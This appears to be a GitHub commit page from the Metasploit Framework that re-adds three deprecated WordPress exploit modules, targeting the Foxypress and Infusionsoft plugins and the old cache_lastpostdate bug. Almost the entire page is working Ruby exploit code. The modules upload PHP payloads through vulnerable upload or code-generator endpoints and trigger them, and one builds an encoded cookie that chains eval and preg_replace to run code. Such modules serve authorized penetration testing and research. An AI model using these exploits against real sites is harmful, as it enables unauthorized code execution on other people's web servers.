Skip to content

Commit e338b77

Browse files
wvuwvu
committed
Readd and deprecate renamed WordPress modules
1 parent b191f92 commit e338b77

File tree

5 files changed

+615
-0
lines changed

5 files changed

+615
-0
lines changed

‎modules/exploits/unix/webapp/php_wordpress_foxypress.rb

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
16+
17+
def initialize(info = {})
18+
super(update_info(
19+
info,
20+
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
21+
'Description' => %q(
22+
This module exploits an arbitrary PHP code execution flaw in the WordPress
23+
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
24+
file upload and remote code execution via the uploadify.php script. The Foxypress
25+
plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable.
26+
),
27+
'Author' =>
28+
[
29+
'Sammy FORGIT', # Vulnerability Discovery, PoC
30+
'patrick' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
['EDB', '18991'],
36+
['OSVDB' '82652'],
37+
['BID', '53805'],
38+
['WPVDB', '6231']
39+
],
40+
'Privileged' => false,
41+
'Platform' => 'php',
42+
'Arch' => ARCH_PHP,
43+
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
44+
'DisclosureDate' => 'Jun 05 2012',
45+
'DefaultTarget' => 0))
46+
end
47+
48+
def check
49+
res = send_request_cgi(
50+
'method' => 'GET',
51+
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
52+
)
53+
54+
return Exploit::CheckCode::Detected if res && res.code == 200
55+
56+
Exploit::CheckCode::Safe
57+
end
58+
59+
def exploit
60+
post_data = Rex::MIME::Message.new
61+
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
62+
63+
print_status("#{peer} - Sending PHP payload")
64+
65+
res = send_request_cgi(
66+
'method' => 'POST',
67+
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
68+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
69+
'data' => post_data.to_s
70+
)
71+
72+
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
73+
print_error("#{peer} - File wasn't uploaded, aborting!")
74+
return
75+
end
76+
77+
filename = "#{Regexp.last_match[1]}.php"
78+
79+
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
80+
register_files_for_cleanup(filename)
81+
res = send_request_cgi(
82+
'method' => 'GET',
83+
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
84+
)
85+
86+
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
87+
end
88+
end

‎modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
20+
'Description' => %q{
21+
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
22+
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
23+
upload and remote code execution.
24+
},
25+
'Author' =>
26+
[
27+
'g0blin', # Vulnerability Discovery
28+
'us3r777 <[email protected]>' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2014-6446'],
34+
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
35+
['WPVDB', '7634']
36+
],
37+
'Privileged' => false,
38+
'Platform' => 'php',
39+
'Arch' => ARCH_PHP,
40+
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
41+
'DisclosureDate' => 'Sep 25 2014',
42+
'DefaultTarget' => 0)
43+
)
44+
end
45+
46+
def check
47+
res = send_request_cgi(
48+
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
49+
)
50+
51+
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
52+
return Exploit::CheckCode::Detected
53+
end
54+
55+
Exploit::CheckCode::Safe
56+
end
57+
58+
def exploit
59+
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
60+
res = send_request_cgi({
61+
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
62+
'Infusionsoft', 'utilities', 'code_generator.php'),
63+
'method' => 'POST',
64+
'vars_post' =>
65+
{
66+
'fileNamePattern' => php_pagename,
67+
'fileTemplate' => payload.encoded
68+
}
69+
})
70+
71+
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
72+
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
73+
register_files_for_cleanup(php_pagename)
74+
else
75+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
76+
end
77+
78+
print_status("#{peer} - Calling payload ...")
79+
send_request_cgi({
80+
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
81+
'Infusionsoft', 'utilities', php_pagename)
82+
}, 2)
83+
end
84+
85+
end

‎modules/exploits/unix/webapp/php_wordpress_lastpost.rb

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Module::Deprecated
14+
15+
deprecated(Date.new(2014, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
20+
'Description' => %q{
21+
This module exploits an arbitrary PHP code execution flaw in the WordPress
22+
blogging software. This vulnerability is only present when the PHP 'register_globals'
23+
option is enabled (common for hosting providers). All versions of WordPress prior to
24+
1.5.1.3 are affected.
25+
},
26+
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['CVE', '2005-2612'],
31+
['OSVDB', '18672'],
32+
['BID', '14533'],
33+
['WPVDB', '6034']
34+
],
35+
'Privileged' => false,
36+
'Payload' =>
37+
{
38+
'DisableNops' => true,
39+
'Compat' =>
40+
{
41+
'ConnectionType' => 'find'
42+
},
43+
'Space' => 512
44+
},
45+
'Platform' => 'php',
46+
'Arch' => ARCH_PHP,
47+
'Targets' => [[ 'Automatic', { }]],
48+
'DisclosureDate' => 'Aug 9 2005',
49+
'DefaultTarget' => 0))
50+
51+
register_options(
52+
[
53+
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
54+
], self.class)
55+
end
56+
57+
def exploit
58+
59+
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
60+
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
61+
data =
62+
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
63+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
64+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
65+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
66+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
67+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
68+
69+
# Trigger the command execution bug
70+
res = send_request_cgi({
71+
'uri' => normalize_uri(datastore['URI']),
72+
'cookie' => data
73+
}, 25)
74+
75+
if (res)
76+
print_status("The server returned: #{res.code} #{res.message}")
77+
else
78+
print_status("No response from the server")
79+
end
80+
end
81+
82+
end

0 commit comments

Comments
 (0)